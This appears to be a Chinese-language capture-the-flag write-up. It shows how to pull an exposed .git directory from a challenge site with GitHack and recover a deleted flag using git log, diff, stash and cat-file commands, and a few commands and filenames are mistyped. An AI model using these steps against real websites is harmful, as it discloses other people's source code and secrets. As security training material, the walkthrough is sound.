关于.git泄漏可以使用GitHack进行.git泄露的利用,工具下载地址:https://github.com/BugScanTeam/GitHack
我这里是windows10环境,使用是需要将git环境安装在环境变量里。
安装了git后, 在当前文件夹右键打开git bash环境
python GiHack.py http://challenge.com/.git/
就会将泄露的部分下载在dist文件夹下。
我们在此位置检查git提交历史记录log(同时因为题目也是Log,所以突破点想到日志信息)
git log 查看日志
可以看到add flag之后又将其移除了,所以我们只需要检查当前文件和上一次提交文件的不同之处即可
使用git diff 命令
git diff e67aa8 //e67aa8日志文件的名字
或者是使用git ls-files查看暂存区里面有哪些文件
当然,index在文件夹里面存在,我们也可以直接打开,不过是乱码
首先,我们需要查看27741192706094.txt文件对应的Blob对象,如下:
git ls-files -s -- 27741192706094.txt 或者直接 git ls-files -s
然后通过Blob对象,查询27741192706094.txt.txt里面的内容:
git cat-file -p 441a2
clone下源码
进入到目录下
git stash
能够将所有未提交的修改(工作区和暂存区)保存至堆栈中,用于后续恢复当前工作目录。
查看当前堆栈中保存的未提交的修改
使用git stash list
可以看到add flag这个工作也被保存在了堆栈中,所以只需要知道如何恢复就可以了
使用git stash apply
此时回到目录中可以看到一个恢复好的文件,打开即可
我们先使用git ls-files查看暂存区里面有哪些文件
当然,index在文件夹里面存在,我们也可以直接打开,不过是乱码
所以我们还是在git 的bash环境中进行操作
接着我们想要查看3015183925120.txt文件内容
首先,我们需要查看3015183925120.txt文件对应的Blob对象,如下:
git ls-files -s -- 3015183925120.txt 或者直接 git ls-files -s
然后通过Blob对象,查询27741192706094.txt.txt里面的内容:
git cat-file -p 2c0b2a
总结本次用到命令:
git GitHack.py http://xxx.com/.git/ git log //查看日志 git diff e67aa8 //e67aa8日志文件的名字 git stash list //查看堆栈内保存的内容 git stash apply //恢复文件 git ls-files //查看隐藏文件 git ls-files -s -- 3012131234.txt //查看文件id git cat-file -p c47d3a //查看文件内容